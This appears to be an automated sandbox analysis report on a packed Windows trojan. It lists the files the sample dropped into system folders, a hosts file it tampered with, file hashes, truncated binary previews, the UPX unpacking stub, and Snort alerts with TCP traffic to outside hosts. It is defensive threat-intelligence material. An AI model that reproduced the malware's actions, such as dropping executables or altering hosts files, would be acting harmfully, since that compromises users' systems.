File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	22121
Entropy (8bit):	7.6936577535247235
Encrypted:	false
SSDEEP:	384:jIz4inmAXvK14dirr4tGjSz28MrHI0nTfSPt1rzMjkj8r6V+kJ3jOeC39WP6:jIU8XvKadiQi8MLdbAt1QO8rerTOeC3r
MD5:	66AAA04A76768711640ACE829339EC58
SHA1:	3A9D09394683D8BA4B2DA26815A077E9E7CCD42B
SHA-256:	A0EACF1EECE0B423AC962CDBB783168220D3F20DBB609C1ED2943528CA990E48
SHA-512:	41D32A816DE395237BA91BF9B6438BA03D59238E317A996F5E5ABEE2A39B596CC35D190D3EFFC7D18B1DBA250D722BFA6455D20F7584B57A2D3AACE9519A1A2A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...I.D...............8............&.............@..........................0............... .............................. .......................................................................................................................text............................... ..`.idata....... ......................@.......................................................................................U...@.WVS..t....L$d..&.@.s....B4..A......t$dVj.j......h......$h...Sj.....j.j.j.j.j.h....S..........u........l...j.j.j.P....j..l$.UjdVS....S.....T$e..$....9.s...D$d0.B..T$..D$X9.s....B...D$.P.D$.Pj.j.j.j.j.j.j...$....P.u...........j.j.j.j.j.h......$\|...P........................j......j.+D$mPS.....j.U.t$m.t$qj..(...P.2...P..S.....S..........D$e9.s...D$d0...B.D$e9...h.....\|$mW.....W.....j.h....j.j.j.h...@W.x.......t7...t2j.U.t$mVP.....S.....

C:\Windows\SysWOW64\ntdbg.exe

Download File

Process:	C:\Windows\SysWOW64\rmass.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	23145
Entropy (8bit):	7.571404474233816
Encrypted:	false
SSDEEP:	384:ErzP15O+/dOticeVjixeO01OA6sPLfO/qiDY6yx7PPJA8oYmg1v6XjOgRU:Erz1VOcc8mO1O2tGY6yJR1CXjvO
MD5:	9D4F901B9CC055EB23FD734AFC8E3CCC
SHA1:	AF68DF072AEC8C4E4F33B125FE70E350C94C7659
SHA-256:	DE905656753EEA9790FAB8B54E3B7140FD58D8D9A1ECAA0199CA886F3A961CDD
SHA-512:	95EDF77959685269F62862CF7701A9A01974DF3B4896EF48BA717E0540C3E2ABFA6CAF044CBD4E4D95BE0F810211C503C1BFAA24428D812B6377807A805E8048
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...K.D...............8............&.............@..........................0......5q........ .............................. .......................................................................................................................text...0........................... ..`.idata....... ......................@.....................................................................................UWVS.........@..D$......t$..8.<$Vj@.l$.U.\$.Sj.......3.H.f.G...V.t$.USj......t$..t$.j.......$.......@...&.@.s....B4..A.......$....Pj.j..*....5...f.8"..u.......f..t.f.."u....f..t....f.. u.\$.S......D$.PSj.j.j.j.j.j.Vj......h......$....Sj......j.j.j.j.j.h....S........................j.j.j.P.....j.Ujd..$....PS.....S.......$......$....9.s....$....0.B..\$lS......D$.PSj.j.j.j.j.j.j...$....P.............j.j.j.j.j.h......$....P.X...................

C:\Windows\SysWOW64\rmass.exe

Download File

Process:	C:\Users\user\Desktop\p4C7Gm10K3.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	19973
Entropy (8bit):	7.814546232311517
Encrypted:	false
SSDEEP:	384:UBWoC5GDr6wc/w3HgM6vDUTAXBGCVf4WVlFvXmHuH:rRkiLw3HsDSARGG/WHQ
MD5:	A2B56A267F83BE08FBF30CB772733384
SHA1:	FAB48D36EDF5F56998E89CDED2158BFB4E071805
SHA-256:	8C5D3199CF17DFD40B2B306E5F9A8310C47560D87FDD6751E81454D43F73EA66
SHA-512:	39929E8504F34199067E2B4850D04FBC1F3D43BF218875466CAD85EFC388ACCADB8D5D4861293EAA71A7C6884402CDD428B1A5536170812ED4163F5A07457B5F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 95%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....(.D...............8.P........................@........................................... .....................................................................................................................................................UPX0....................................UPX1.....P.......B..................@...UPX2.................D..............@...1.25.UPX!....,.Sz....C...h@......&.......Pj..5`.@....L......u...RQ..?..M..(M..VS..`.t$l_....\$.S.,..PS$.hs.>2.m-V.<.........GLj....A..\.....1...>........t.Sl.4$..l.'l.w..ph/.now...D$.P.P................8..K....B<\..o..:.....UW.P.....i...K...$..........P..............u..h..W.\|j...{..@W5.tb1u0.....[.l..$.Jj.......U...<$^.v..#.PL..l$.UVQ....]u.Hg.4......([^_]............h...R6P.0..wLC..SVh2E.-..E......@......o.$]..:...}.t.P,VM<...}...Y.O.=.../<._...GuE...T.....9.s.....).....ax.

C:\Windows\System32\drivers\etc\hosts

Download File

Process:	C:\Windows\SysWOW64\rmass.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	893
Entropy (8bit):	4.7323750711617905
Encrypted:	false
SSDEEP:	24:dU9Zk3DZh+ragzMZfuMMs1L/JU5fFCkK8T1rTt8:dU9Zk3DZhyoZWM9rU5fFcp
MD5:	08A76A8D95E6E0FC4F0969CFCDC6DED6
SHA1:	C2543A3B13E31159942B338725D8C2C73CA35CE9
SHA-256:	B870D36A0E5D5BE6789FF4841B867753F20FEAFB547B851E3457D8E822B7B42E
SHA-512:	E0DECDCFBE3708F76FD1722D4817D75F3D0F702283E4A34FC4FDFE80F4AF6CAF1A753839892676CEFD82A8C1215BAC8A4F2EA2D2CB156C81BDEB1F46BECF7B46
Malicious:	true
Reputation:	low
Preview:	127.0.0.1 jdial.biz content.jdial.biz nichetgp.com www.nichetgp.com..# Copyright (c) 1993-2009 Microsoft Corp...#..# This is a sample HOSTS file used by Microsoft TCP/IP for Windows...#..# This file contains the mappings of IP addresses to host names. Each..# entry should be kept on an individual line. The IP address should..# be placed in the first column followed by the corresponding host name...# The IP address and the host name should be separated by at least one..# space...#..# Additionally, comments (such as these) may be inserted on individual..# lines or following the machine name denoted by a '#' symbol...#..# For example:..#..# 102.54.94.97 rhino.acme.com # source server..# 38.25.63.10 x.acme.com # x client host....# localhost name resolution is handled within DNS itself...#.127.0.0.1 localhost..#.::1 localhost..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Entropy (8bit):	7.814546232311517
TrID:	Win32 Executable (generic) a (10002005/4) 99.39% UPX compressed Win32 Executable (30571/9) 0.30% Win32 EXE Yoda's Crypter (26571/9) 0.26% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02%
File name:	p4C7Gm10K3.exe
File size:	19'973 bytes
MD5:	a2b56a267f83be08fbf30cb772733384
SHA1:	fab48d36edf5f56998e89cded2158bfb4e071805
SHA256:	8c5d3199cf17dfd40b2b306e5f9a8310c47560d87fdd6751e81454d43f73ea66
SHA512:	39929e8504f34199067e2b4850d04fbc1f3d43bf218875466cad85efc388accadb8d5d4861293eaa71a7c6884402cdd428b1a5536170812ed4163f5a07457b5f
SSDEEP:	384:UBWoC5GDr6wc/w3HgM6vDUTAXBGCVf4WVlFvXmHuH:rRkiLw3HsDSARGG/WHQ
TLSH:	2E92BFD875481EFBEE7954B1330B0A5C8707F72678FF1586944A528CDB9F22B8B088C1
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....(.D...............8.P........................@........................................... ............................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x40f080
Entrypoint Section:	UPX1
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
DLL Characteristics:
Time Stamp:	0x44C12881 [Fri Jul 21 19:18:25 2006 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	0f56e95236145eb5c70e114d82785d16

Entrypoint Preview

Instruction
pushad
mov esi, 0040B015h
lea edi, dword ptr [esi-0000A015h]
push edi
or ebp, FFFFFFFFh
jmp 00007FC69C87A872h
nop
nop
nop
nop
nop
nop
mov al, byte ptr [esi]
inc esi
mov byte ptr [edi], al
inc edi
add ebx, ebx
jne 00007FC69C87A869h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007FC69C87A84Fh
mov eax, 00000001h
add ebx, ebx
jne 00007FC69C87A869h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc eax, eax
add ebx, ebx
jnc 00007FC69C87A851h
jne 00007FC69C87A86Bh
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jnc 00007FC69C87A846h
xor ecx, ecx
sub eax, 03h
jc 00007FC69C87A86Fh
shl eax, 08h
mov al, byte ptr [esi]
inc esi
xor eax, FFFFFFFFh
je 00007FC69C87A8D6h
mov ebp, eax
add ebx, ebx
jne 00007FC69C87A869h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 00007FC69C87A869h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
jne 00007FC69C87A882h
inc ecx
add ebx, ebx
jne 00007FC69C87A869h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jnc 00007FC69C87A851h
jne 00007FC69C87A86Bh
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jnc 00007FC69C87A846h
add ecx, 02h
cmp ebp, FFFFF300h
adc ecx, 01h
lea edx, dword ptr [edi+ebp]
cmp ebp, FFFFFFFCh
jbe 00007FC69C87A871h
mov al, byte ptr [edx]
inc edx
mov byte ptr [edi], al
inc edi
dec ecx
jne 00007FC69C87A859h
jmp 00007FC69C87A7C8h
nop
mov eax, dword ptr [edx]
add edx, 04h
mov dword ptr [edi], eax
add edi, 04h
sub ecx, 00000000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x10000	0x10c	UPX2
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
UPX0	0x1000	0xa000	0x0	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
UPX1	0xb000	0x5000	0x4200	False	0.9850852272727273	data	7.892969171257373	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
UPX2	0x10000	0x1000	0x109	False	0.6075471698113207	data	3.6048402475797117	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
KERNEL32.DLL	LoadLibraryA, GetProcAddress, ExitProcess
ADVAPI32.DLL	RegCloseKey
USER32.dll	wsprintfA
WS2_32.DLL	recv

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
167.99.35.88192.168.2.680498002016803 12/04/23-12:34:04.888229	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49800	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680497692016803 12/04/23-12:33:29.377305	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49769	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680497492016803 12/04/23-12:33:09.325101	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49749	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680497292016803 12/04/23-12:32:54.448846	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49729	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680497452016803 12/04/23-12:33:06.390383	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49745	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680497442016803 12/04/23-12:33:06.023862	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49744	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680497482016803 12/04/23-12:33:08.962213	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49748	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680497232016803 12/04/23-12:32:49.112801	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49723	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680497262016803 12/04/23-12:32:53.341976	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49726	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680497272016803 12/04/23-12:32:53.701335	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49727	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680497222016803 12/04/23-12:32:48.739954	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49722	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680497302016803 12/04/23-12:32:54.812713	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49730	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680497152016803 12/04/23-12:32:43.142669	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49715	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680497322016803 12/04/23-12:32:56.202991	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49732	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680497112016803 12/04/23-12:32:36.430315	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49711	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680498282016803 12/04/23-12:34:42.381761	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49828	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680497522016803 12/04/23-12:33:13.372022	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49752	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680497542016803 12/04/23-12:33:14.174853	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49754	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680497612016803 12/04/23-12:33:22.830523	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49761	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680497902016803 12/04/23-12:33:50.248952	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49790	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680497652016803 12/04/23-12:33:25.634076	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49765	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680497702016803 12/04/23-12:33:29.737206	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49770	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680498222016803 12/04/23-12:34:36.222054	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49822	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680498242016803 12/04/23-12:34:39.880474	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49824	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680497762016803 12/04/23-12:33:34.508076	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49776	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680498132016803 12/04/23-12:34:25.427455	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49813	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680498192016803 12/04/23-12:34:30.329042	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49819	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680497852016803 12/04/23-12:33:40.709276	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49785	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680498022016803 12/04/23-12:34:09.900779	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49802	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680498062016803 12/04/23-12:34:11.693204	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49806	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680497812016803 12/04/23-12:33:38.550976	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49781	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680497962016803 12/04/23-12:33:57.995879	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49796	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680497782016803 12/04/23-12:33:35.570412	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49778	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680497792016803 12/04/23-12:33:35.939568	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49779	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680497932016803 12/04/23-12:33:55.539643	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49793	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680497942016803 12/04/23-12:33:55.916759	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49794	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680497972016803 12/04/23-12:33:58.366789	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49797	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680497582016803 12/04/23-12:33:19.719191	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49758	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680498302016803 12/04/23-12:34:46.050882	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49830	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680497572016803 12/04/23-12:33:19.351980	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49757	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680497552016803 12/04/23-12:33:14.578832	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49755	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680497382016803 12/04/23-12:33:01.162849	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49738	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680497362016803 12/04/23-12:32:59.397552	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49736	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680497392016803 12/04/23-12:33:01.528456	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49739	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680497332016803 12/04/23-12:32:56.574478	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49733	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680497352016803 12/04/23-12:32:59.025846	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49735	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680497422016803 12/04/23-12:33:03.252919	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49742	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680498162016803 12/04/23-12:34:27.267950	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49816	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680497622016803 12/04/23-12:33:23.194091	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49762	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680498322016803 12/04/23-12:34:46.413595	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49832	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680497732016803 12/04/23-12:33:30.903862	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49773	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680497642016803 12/04/23-12:33:25.271531	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49764	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680498272016803 12/04/23-12:34:41.999414	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49827	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680498212016803 12/04/23-12:34:35.841798	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49821	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680498252016803 12/04/23-12:34:40.248981	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49825	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680497752016803 12/04/23-12:33:34.145297	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49775	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680497992016803 12/04/23-12:34:04.513014	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49799	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680498122016803 12/04/23-12:34:25.061270	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49812	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680497912016803 12/04/23-12:33:50.625195	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49791	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680498032016803 12/04/23-12:34:10.265287	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49803	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680498182016803 12/04/23-12:34:29.938402	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49818	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680498052016803 12/04/23-12:34:11.337093	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49805	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680498092016803 12/04/23-12:34:21.113624	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49809	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680498102016803 12/04/23-12:34:21.957640	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49810	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680497822016803 12/04/23-12:33:38.924971	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49782	167.99.35.88	192.168.2.6
167.99.35.88192.168.2.680497842016803 12/04/23-12:33:40.343311	TCP	2016803	ET TROJAN Known Sinkhole Response Header	80	49784	167.99.35.88	192.168.2.6

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 4, 2023 12:32:34.718766928 CET	49709	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:32:34.877588987 CET	80	49709	64.70.19.203	192.168.2.6
Dec 4, 2023 12:32:34.877716064 CET	49709	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:32:34.878444910 CET	49709	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:32:35.039313078 CET	80	49709	64.70.19.203	192.168.2.6
Dec 4, 2023 12:32:35.039336920 CET	80	49709	64.70.19.203	192.168.2.6
Dec 4, 2023 12:32:35.039520025 CET	49709	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:32:35.418881893 CET	49710	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:35.601449013 CET	80	49710	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:35.601720095 CET	49710	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:35.601783991 CET	49710	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:35.784975052 CET	80	49710	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:35.784997940 CET	80	49710	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:35.785166979 CET	80	49710	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:35.785222054 CET	49710	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:35.785222054 CET	49710	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:36.064974070 CET	49711	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:36.246956110 CET	80	49711	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:36.247071981 CET	49711	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:36.248354912 CET	49711	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:36.430291891 CET	80	49711	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:36.430315018 CET	80	49711	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:36.430442095 CET	49711	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:42.229830027 CET	49713	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:32:42.388742924 CET	80	49713	64.70.19.203	192.168.2.6
Dec 4, 2023 12:32:42.388988018 CET	49713	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:32:42.399853945 CET	49713	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:32:42.406523943 CET	49714	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:42.559190989 CET	80	49713	64.70.19.203	192.168.2.6
Dec 4, 2023 12:32:42.561321020 CET	80	49713	64.70.19.203	192.168.2.6
Dec 4, 2023 12:32:42.561428070 CET	49713	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:32:42.590282917 CET	80	49714	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:42.590420961 CET	49714	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:42.591214895 CET	49714	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:42.775899887 CET	80	49714	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:42.775930882 CET	80	49714	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:42.776083946 CET	80	49714	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:42.776134968 CET	49714	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:42.776690960 CET	49714	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:42.778881073 CET	49711	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:42.780870914 CET	49715	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:42.960783958 CET	80	49711	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:42.960941076 CET	49711	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:42.961507082 CET	80	49715	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:42.961577892 CET	49715	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:42.961853027 CET	49715	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:43.142611980 CET	80	49715	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:43.142668962 CET	80	49715	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:43.142729044 CET	49715	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:48.174159050 CET	49721	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:32:48.360261917 CET	80	49721	88.198.29.97	192.168.2.6
Dec 4, 2023 12:32:48.360384941 CET	49721	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:32:48.368504047 CET	49721	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:32:48.375368118 CET	49722	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:48.554621935 CET	80	49721	88.198.29.97	192.168.2.6
Dec 4, 2023 12:32:48.554685116 CET	49721	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:32:48.557668924 CET	80	49722	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:48.557746887 CET	49722	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:48.557888031 CET	49722	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:48.739933014 CET	80	49722	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:48.739953995 CET	80	49722	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:48.739959955 CET	80	49722	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:48.740148067 CET	49722	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:48.740278959 CET	49722	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:48.746980906 CET	49715	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:48.747651100 CET	49723	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:48.928541899 CET	80	49715	167.99.35.88	192.168.2.6
